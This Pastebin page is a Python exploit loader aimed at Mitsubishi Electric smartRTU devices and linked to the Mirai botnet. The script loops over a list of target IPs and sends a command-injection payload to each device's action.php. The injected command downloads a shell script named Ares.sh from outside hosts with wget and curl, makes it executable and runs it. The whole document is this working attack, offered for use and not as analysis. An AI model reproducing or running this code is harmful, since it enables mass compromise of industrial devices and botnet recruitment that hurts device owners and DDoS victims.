Advertisement
xB4ckdoorREAL

[MITSUBISHI ELECTRIC SMART EXPLOIT LOADER] [RCE] [MIRAI]

Feb 18th, 2020
978
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.16 KB | None | 0 0
  1. #!/usr/bin/env python
  2. # -*- coding: utf-8 -*-
  3. # PRIVATE Mitsubishi Electric smartRTU EXPLOIT LOADER MADE BY B4CKDOOR #
  4. # B4CKDOORARCHIVE.HOST | JOIN DISCORD BY WEBSITE INVITE LINK #
  5. import threading, sys, time, random, socket, re, os, struct, array, requests
  6. from threading import Thread
  7. from time import sleep
  8. import requests
  9. from requests.auth import HTTPDigestAuth
  10. from decimal import *
  11.  
  12. if len(sys.argv) < 2:
  13.     print "\033[37mUsage: python "+sys.argv[0]+" <list>\033[37m"
  14.     sys.exit()
  15.  
  16. ips = open(sys.argv[1], "r").readlines()
  17.  
  18. payload = {'host' : ';cd /tmp; wget http://1.3.3.7/Ares.sh; curl -O http://145.249.106.241/Ares.sh; chmod 777 Ares.sh; ./Ares.sh&PingCheck=Test'}
  19.  
  20. #DEFAULT HTTPD PORTS 80
  21. class b4ckdoor(threading.Thread):
  22.         def __init__ (self, ip):
  23.             threading.Thread.__init__(self)
  24.             self.ip = str(ip).rstrip('\n')
  25.         def run(self):
  26.             try:
  27.                 print "[MITSUBISHI] Sending Payload - " + self.ip
  28.                 url = "http://" + self.ip + "/action.php"  
  29.                 requests.get(url, data=payload, timeout=2)
  30.  
  31.             except Exception as e:
  32.                 pass
  33. for ip in ips:
  34.     try:
  35.         n = b4ckdoor(ip)
  36.         n.start()
  37.         time.sleep(0.03)
  38.     except:
  39.         pass#CODED BY B4CKDOOR
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement